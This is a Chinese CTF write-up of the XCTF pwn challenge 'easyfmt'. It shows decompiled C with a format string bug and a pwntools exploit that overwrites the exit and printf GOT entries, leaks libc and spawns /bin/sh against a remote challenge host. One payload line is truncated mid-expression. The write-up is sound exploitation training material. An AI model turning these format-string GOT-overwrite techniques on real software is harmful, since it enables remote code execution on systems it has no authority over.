[XCTF-pwn] 25_easyfmt

原创

石氏是时试 于 2022-03-08 21:00:00 发布 62 收藏
分类专栏： CTF pwn 文章标签： 安全

格式化字符串漏洞，got.exit劫持，got.printf劫持

这题比上题要简单，先修改got.exit为main进入循环并漏洞libc地址，再将printf改为system,再输入/bin/sh

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("welcome to haerbin~");
  if ( CheckIn() )
  {
    memset(buf, 0, 0x100uLL);
    write(1, "slogan: ", 9uLL);
    read(0, buf, 0x100uLL);
    printf(buf);
  }
  puts("bye~");
  exit(0);
}
```

本身没啥难度但有个小坑，checkin这个没好办法，只能试，总会有对的时候。

```
_BOOL8 CheckIn()
{
  unsigned int v0; // eax
  unsigned __int8 v2; // [rsp+0h] [rbp-30h]
  __int64 buf; // [rsp+10h] [rbp-20h] BYREF
  __int16 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  v2 = rand() % 5 + 48;
  printf("enter:");
  buf = 0LL;
  v4 = 0;
  read(0, &buf, 0xAuLL);
  return (_BYTE)buf == v2;
}
```

完整exp：

```
from pwn import *

def connect(local=1):
    global p,libc_elf,libc_start_main_ret,one

    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
        one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
        libc_start_main_ret = 0x270b3
    else:
        p = remote('111.200.241.244', 51715)
        libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
        one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
        libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
'''
0x00007ffd430a3270│+0x0000: 0x00007ffd430a3488  →  0x00007ffd430a541f  →  0x4853006e77702f2e ("./pwn"?)  ←
0x00007ffd430a3278│+0x0008: 0x0000000100000000
0x00007ffd430a3280│+0x0010: "AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n"     #8
...
0x00007ffd430a3380│+0x0110: 0x00007ffd430a3480  →  0x0000000000000001            #40
0x00007ffd430a3388│+0x0118: 0xbaf6d2e549b53b00                                   #41
0x00007ffd430a3390│+0x0120: 0x0000000000000000  ← $rbp
0x00007ffd430a3398│+0x0128: 0x00007f3e5a10f0b3  →  <__libc_start_main+243> mov e  #43
'''
def pwn():
    p.recvline()
    p.sendlineafter(b"enter:", b'1')
    data = p.recv()
    print('R:', data)
    if b'bye' in data:
        raise('no')
```

```
    #payload = b'AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
    offset = 8
    #payload = fmtstr_payload(8, {elf.got['exit']:elf.sym['main']}) + b',%43$p,'
    #print(payload)
    payload = b'%2310c%12$lln%58c%13$hhn,%43$p,'.ljust(0x20, b'A') + p64(elf.got['exit']) + p64(elf.got['ex
    p.sendline(payload)
    p.recvuntil(b',')
    libc_base = int(p.recvuntil(b',', drop=True), 16) - libc_start_main_ret
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))

    while True:
        p.sendlineafter(b"enter:", b'1')
        data = p.recv()
        if b"slogan: " in data:
            break

    payload = fmtstr_payload(8, {elf.got['printf']:libc_elf.sym['system']})
    p.sendline(payload)

    while True:
        p.sendlineafter(b'sh: 1: enter:: not found\n', b'1')
        data = p.recv()
        if b"slogan: " in data:
            break

    p.sendline(b'/bin/sh\x00')

    p.interactive()



while True:
    try:
        connect(0)
        pwn()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()
```